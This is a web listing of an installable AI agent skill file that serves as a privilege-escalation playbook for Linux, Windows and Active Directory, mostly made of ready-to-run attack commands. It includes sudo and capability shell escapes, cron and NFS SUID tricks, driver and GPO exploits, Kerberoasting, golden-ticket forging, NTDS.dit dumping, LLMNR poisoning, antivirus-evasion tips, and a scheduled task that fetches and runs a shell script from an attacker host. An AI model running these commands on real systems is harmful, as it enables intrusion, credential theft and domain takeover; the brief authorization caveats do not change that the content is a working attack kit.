This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
Add this skill
npx mdskills install sickn33/privilege-escalation-methodsComprehensive pentesting guide with actionable techniques across Linux, Windows, and AD environments
1---2name: Privilege Escalation Methods3description: This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.4metadata:5 author: zebbern6 version: "1.1"7---89# Privilege Escalation Methods1011## Purpose1213Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.1415## Inputs/Prerequisites1617- Initial low-privilege shell access on target system18- Kali Linux or penetration testing distribution19- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus20- Understanding of Windows/Linux privilege models21- For AD attacks: Domain user credentials and network access to DC2223## Outputs/Deliverables2425- Root or Administrator shell access26- Extracted credentials and hashes27- Persistent access mechanisms28- Domain compromise (for AD environments)2930---3132## Core Techniques3334### Linux Privilege Escalation3536#### 1. Abusing Sudo Binaries3738Exploit misconfigured sudo permissions using GTFOBins techniques:3940```bash41# Check sudo permissions42sudo -l4344# Exploit common binaries45sudo vim -c ':!/bin/bash'46sudo find /etc/passwd -exec /bin/bash \;47sudo awk 'BEGIN {system("/bin/bash")}'48sudo python -c 'import pty;pty.spawn("/bin/bash")'49sudo perl -e 'exec "/bin/bash";'50sudo less /etc/hosts # then type: !bash51sudo man man # then type: !bash52sudo env /bin/bash53```5455#### 2. Abusing Scheduled Tasks (Cron)5657```bash58# Find writable cron scripts59ls -la /etc/cron*60cat /etc/crontab6162# Inject payload into writable script63echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh64chmod +x /home/user/systemupdate.sh6566# Wait for execution, then:67/bin/bash -p68```6970#### 3. Abusing Capabilities7172```bash73# Find binaries with capabilities74getcap -r / 2>/dev/null7576# Python with cap_setuid77/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'7879# Perl with cap_setuid80/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'8182# Tar with cap_dac_read_search (read any file)83/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa84/usr/bin/tar -xvf key.tar85```8687#### 4. NFS Root Squashing8889```bash90# Check for NFS shares91showmount -e <victim_ip>9293# Mount and exploit no_root_squash94mkdir /tmp/mount95mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount96cd /tmp/mount97cp /bin/bash .98chmod +s bash99```100101#### 5. MySQL Running as Root102103```bash104# If MySQL runs as root105mysql -u root -p106\! chmod +s /bin/bash107exit108/bin/bash -p109```110111---112113### Windows Privilege Escalation114115#### 1. Token Impersonation116117```powershell118# Using SweetPotato (SeImpersonatePrivilege)119execute-assembly sweetpotato.exe -p beacon.exe120121# Using SharpImpersonation122SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser123```124125#### 2. Service Abuse126127```powershell128# Using PowerUp129. .\PowerUp.ps1130Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'131Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'132```133134#### 3. Abusing SeBackupPrivilege135136```powershell137import-module .\SeBackupPrivilegeUtils.dll138import-module .\SeBackupPrivilegeCmdLets.dll139Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit140```141142#### 4. Abusing SeLoadDriverPrivilege143144```powershell145# Load vulnerable Capcom driver146.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys147.\ExploitCapcom.exe148```149150#### 5. Abusing GPO151152```powershell153.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `154 --Author DOMAIN\<USER> --Command "cmd.exe" `155 --Arguments "/c net user Administrator Password!@# /domain" `156 --GPOName "ADDITIONAL DC CONFIGURATION"157```158159---160161### Active Directory Attacks162163#### 1. Kerberoasting164165```bash166# Using Impacket167GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request168169# Using CrackMapExec170crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt171```172173#### 2. AS-REP Roasting174175```powershell176.\Rubeus.exe asreproast177```178179#### 3. Golden Ticket180181```powershell182# DCSync to get krbtgt hash183mimikatz# lsadump::dcsync /user:krbtgt184185# Create golden ticket186mimikatz# kerberos::golden /user:Administrator /domain:domain.local `187 /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500188```189190#### 4. Pass-the-Ticket191192```powershell193.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt194klist # Verify ticket195```196197#### 5. Golden Ticket with Scheduled Tasks198199```powershell200# 1. Elevate and dump credentials201mimikatz# token::elevate202mimikatz# vault::cred /patch203mimikatz# lsadump::lsa /patch204205# 2. Create golden ticket206mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `207 /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi208209# 3. Create scheduled task210schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `211 /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"212schtasks /run /s DOMAIN /TN "enterprise"213```214215---216217### Credential Harvesting218219#### LLMNR Poisoning220221```bash222# Start Responder223responder -I eth1 -v224225# Create malicious shortcut (Book.url)226[InternetShortcut]227URL=https://facebook.com228IconIndex=0229IconFile=\\attacker_ip\not_found.ico230```231232#### NTLM Relay233234```bash235responder -I eth1 -v236ntlmrelayx.py -tf targets.txt -smb2support237```238239#### Dumping with VSS240241```powershell242vssadmin create shadow /for=C:243copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\244copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\245```246247---248249## Quick Reference250251| Technique | OS | Domain Required | Tool |252|-----------|-----|-----------------|------|253| Sudo Binary Abuse | Linux | No | GTFOBins |254| Cron Job Exploit | Linux | No | Manual |255| Capability Abuse | Linux | No | getcap |256| NFS no_root_squash | Linux | No | mount |257| Token Impersonation | Windows | No | SweetPotato |258| Service Abuse | Windows | No | PowerUp |259| Kerberoasting | Windows | Yes | Rubeus/Impacket |260| AS-REP Roasting | Windows | Yes | Rubeus |261| Golden Ticket | Windows | Yes | Mimikatz |262| Pass-the-Ticket | Windows | Yes | Rubeus |263| DCSync | Windows | Yes | Mimikatz |264| LLMNR Poisoning | Windows | Yes | Responder |265266---267268## Constraints269270**Must:**271- Have initial shell access before attempting escalation272- Verify target OS and environment before selecting technique273- Use appropriate tool for domain vs local escalation274275**Must Not:**276- Attempt techniques on production systems without authorization277- Leave persistence mechanisms without client approval278- Ignore detection mechanisms (EDR, SIEM)279280**Should:**281- Enumerate thoroughly before exploitation282- Document all successful escalation paths283- Clean up artifacts after engagement284285---286287## Examples288289### Example 1: Linux Sudo to Root290291```bash292# Check sudo permissions293$ sudo -l294User www-data may run the following commands:295 (root) NOPASSWD: /usr/bin/vim296297# Exploit vim298$ sudo vim -c ':!/bin/bash'299root@target:~# id300uid=0(root) gid=0(root) groups=0(root)301```302303### Example 2: Windows Kerberoasting304305```bash306# Request service tickets307$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request308309# Crack with hashcat310$ hashcat -m 13100 hashes.txt rockyou.txt311```312313---314315## Troubleshooting316317| Issue | Solution |318|-------|----------|319| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |320| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |321| Kerberoasting returns no hashes | Check for service accounts with SPNs |322| Token impersonation fails | Verify SeImpersonatePrivilege is present |323| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |324325---326327## Additional Resources328329For detailed enumeration scripts, use:330- **LinPEAS**: Linux privilege escalation enumeration331- **WinPEAS**: Windows privilege escalation enumeration332- **BloodHound**: Active Directory attack path mapping333- **GTFOBins**: Unix binary exploitation reference334
Full transparency — inspect the skill content before installing.